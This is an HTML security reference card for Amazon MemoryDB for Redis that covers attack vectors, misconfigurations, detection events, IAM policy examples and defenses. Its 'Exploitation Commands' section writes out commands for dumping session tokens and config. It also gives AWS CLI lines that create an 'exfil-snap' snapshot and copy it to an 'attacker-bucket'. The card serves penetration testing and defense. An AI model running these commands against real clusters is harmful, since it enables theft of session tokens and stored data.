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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS MemoryDB Security | AWS Security Cards</title>
<meta name="description" content="Amazon MemoryDB for Redis is a durable, Redis-compatible in-memory database. Unlike ElastiCache, data persists to disk. Security risks include auth bypass, snapshot theft, and session hijacking.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/memorydb-card.webp" alt="AWS MemoryDB Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/memorydb.svg" alt="AWS MemoryDB Security" /></div>
<div>
<div>
<span class="header-title">AWS MemoryDB Security</span>
<span class="header-badge">REDIS</span>
</div>
<p class="header-desc">Amazon MemoryDB for Redis is a durable, Redis-compatible in-memory database. Unlike ElastiCache, data persists to disk. Security risks include auth bypass, snapshot theft, and session hijacking.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">6379</div>
<div class="stat-label">Port</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">ACL/TLS</div>
<div class="stat-label">Auth</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Durable In-Memory Database</h4>
<p>Redis-compatible with Multi-AZ durability. Data stored in memory but persisted to transaction log. Supports Redis data structures, Pub/Sub, and Lua scripting.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Unlike ElastiCache, snapshots contain durable data. Auth tokens often stored in Secrets Manager or hardcoded.</div>
</div>
<div>
<h4 style="color: #06b6d4;">Redis ACLs</h4>
<p>Supports Redis 6+ ACLs for fine-grained access control. Users can be restricted to specific commands and key patterns. Default user often has full access.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Default user misconfiguration allows full cluster access. ACL rules can be enumerated with ACL LIST.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 75%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">7.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">MemoryDB often stores session data, cached credentials, and application state. Durability means historical data persists in snapshots. Compromised access enables session hijacking and data theft.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Authentication Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Default user with no password</li><li><span class="bullet" style="color: #f87171;">•</span> Weak ACL passwords brute force</li><li><span class="bullet" style="color: #f87171;">•</span> AUTH token from Secrets Manager</li><li><span class="bullet" style="color: #f87171;">•</span> TLS disabled - credential sniffing</li><li><span class="bullet" style="color: #f87171;">•</span> ACL bypass via command renaming</li></ul><h4 style="color: #f87171;">Data Theft</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> KEYS * enumeration</li><li><span class="bullet" style="color: #f87171;">•</span> Session token extraction</li><li><span class="bullet" style="color: #f87171;">•</span> Cached credentials in values</li><li><span class="bullet" style="color: #f87171;">•</span> Snapshot exfiltration</li><li><span class="bullet" style="color: #f87171;">•</span> Replication stream interception</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Authentication Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Default user enabled without password</li><li><span class="bullet" style="color: #fb923c;">•</span> ACL rules too permissive</li><li><span class="bullet" style="color: #fb923c;">•</span> No TLS encryption in transit</li><li><span class="bullet" style="color: #fb923c;">•</span> Auth tokens in environment variables</li><li><span class="bullet" style="color: #fb923c;">•</span> Cross-account snapshot sharing</li></ul><h4 style="color: #fb923c;">Network Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Security group allows 0.0.0.0/0</li><li><span class="bullet" style="color: #fb923c;">•</span> No VPC endpoint for management</li><li><span class="bullet" style="color: #fb923c;">•</span> Cluster in public subnet</li><li><span class="bullet" style="color: #fb923c;">•</span> Insufficient subnet isolation</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing encryption at rest</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Clusters</div>
<pre><code>aws memorydb describe-clusters</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Cluster</div>
<pre><code>aws memorydb describe-clusters \\
--cluster-name CLUSTER_NAME</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Snapshots</div>
<pre><code>aws memorydb describe-snapshots</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Users</div>
<pre><code>aws memorydb describe-users</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List ACLs</div>
<pre><code>aws memorydb describe-acls</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Redis Command Abuse</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> CONFIG GET * for configuration exposure</li><li><span class="bullet" style="color: #c084fc;">•</span> DEBUG SEGFAULT for DoS (if enabled)</li><li><span class="bullet" style="color: #c084fc;">•</span> EVAL for Lua script execution</li><li><span class="bullet" style="color: #c084fc;">•</span> MODULE LOAD if modules enabled</li><li><span class="bullet" style="color: #c084fc;">•</span> CLIENT LIST for connection info</li></ul><h4 style="color: #c084fc;">Escalation Paths</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Redis access → Session tokens → App access</li><li><span class="bullet" style="color: #c084fc;">•</span> Cached credentials → Database access</li><li><span class="bullet" style="color: #c084fc;">•</span> Snapshot copy → Cross-account data theft</li><li><span class="bullet" style="color: #c084fc;">•</span> Replication → Secondary cluster control</li><li><span class="bullet" style="color: #c084fc;">•</span> Lua scripting → Arbitrary code execution</li></ul></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">📊 Data Exposure</h3><h4 style="color: #facc15;">Common Data Found</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> User session tokens/JWTs</li><li><span class="bullet" style="color: #facc15;">•</span> OAuth access/refresh tokens</li><li><span class="bullet" style="color: #facc15;">•</span> Cached API responses with PII</li><li><span class="bullet" style="color: #facc15;">•</span> Rate limiting counters</li><li><span class="bullet" style="color: #facc15;">•</span> Feature flags and config</li></ul><h4 style="color: #facc15;">Exfiltration Techniques</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> SCAN 0 MATCH * for all keys</li><li><span class="bullet" style="color: #facc15;">•</span> DUMP key for serialized export</li><li><span class="bullet" style="color: #facc15;">•</span> Create snapshot and copy cross-account</li><li><span class="bullet" style="color: #facc15;">•</span> SUBSCRIBE to Pub/Sub channels</li><li><span class="bullet" style="color: #facc15;">•</span> SLOWLOG GET for query history</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> CreateCluster - new cluster</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateSnapshot - snapshot creation</li><li><span class="bullet" style="color: #4ade80;">•</span> CopySnapshot - cross-account copy</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyCluster - config changes</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateUser - new user creation</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> KEYS * commands (enumeration)</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual AUTH failures</li><li><span class="bullet" style="color: #4ade80;">•</span> Cross-region snapshot copies</li><li><span class="bullet" style="color: #4ade80;">•</span> New ACL users created</li><li><span class="bullet" style="color: #4ade80;">•</span> CONFIG GET attempts</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Connect to MemoryDB (redis-cli)</div>
<pre><code>redis-cli -h ENDPOINT -p 6379 \\
--tls --user USERNAME --pass PASSWORD</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Enumerate All Keys</div>
<pre><code>SCAN 0 MATCH * COUNT 1000</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Session Tokens</div>
<pre><code>KEYS session:*</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Dump Key Value</div>
<pre><code>GET session:user123</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List ACL Users (Redis)</div>
<pre><code>ACL LIST</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Config (Redis)</div>
<pre><code>CONFIG GET *</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Copy Snapshot Cross-Account</div>
<pre><code>aws memorydb copy-snapshot \\
--source-snapshot-name SNAP_NAME \\
--target-snapshot-name attacker-copy \\
--target-bucket attacker-bucket</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Create Snapshot for Exfil</div>
<pre><code>aws memorydb create-snapshot \\
--cluster-name CLUSTER \\
--snapshot-name exfil-snap</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Access</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": "memorydb:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">Full MemoryDB access - can copy snapshots cross-account, create users</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Read Only Specific Cluster</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"memorydb:DescribeClusters",
"memorydb:DescribeSnapshots"
],
"Resource": "arn:aws:memorydb:*:*:cluster/prod-*"
}</code></pre>
<p class="policy-desc">Only describe specific clusters matching pattern</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Risky - Snapshot Permissions</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"memorydb:CreateSnapshot",
"memorydb:CopySnapshot"
],
"Resource": "*"
}</code></pre>
<p class="policy-desc">Can create and copy snapshots - data exfiltration risk</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Deny Snapshot Copy</span>
</div>
<pre><code>{
"Effect": "Deny",
"Action": "memorydb:CopySnapshot",
"Resource": "*",
"Condition": {
"StringNotEquals": {"aws:PrincipalAccount": "123456789012"}
}
}</code></pre>
<p class="policy-desc">Prevent cross-account snapshot copying</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable ACL Authentication</h4>
<p>Require authentication for all connections. Disable default user or set strong password.</p>
<pre><code>aws memorydb create-user --user-name app --access-string 'on ~app:* +@read'</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Enforce TLS</h4>
<p>Require TLS encryption in transit to prevent credential sniffing.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🛡️</span>
<div>
<h4>Restrict ACL Permissions</h4>
<p>Use Redis ACLs to limit commands and key patterns per user.</p>
<pre><code>+@read +@write ~session:* -KEYS -CONFIG</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Prevent Snapshot Exfil</h4>
<p>Use SCP to deny CopySnapshot to external accounts.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Enable Encryption at Rest</h4>
<p>Enable KMS encryption for data at rest including snapshots.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>Monitor Redis Commands</h4>
<p>Enable SLOWLOG and monitor for suspicious commands like KEYS *, CONFIG GET.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS MemoryDB Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>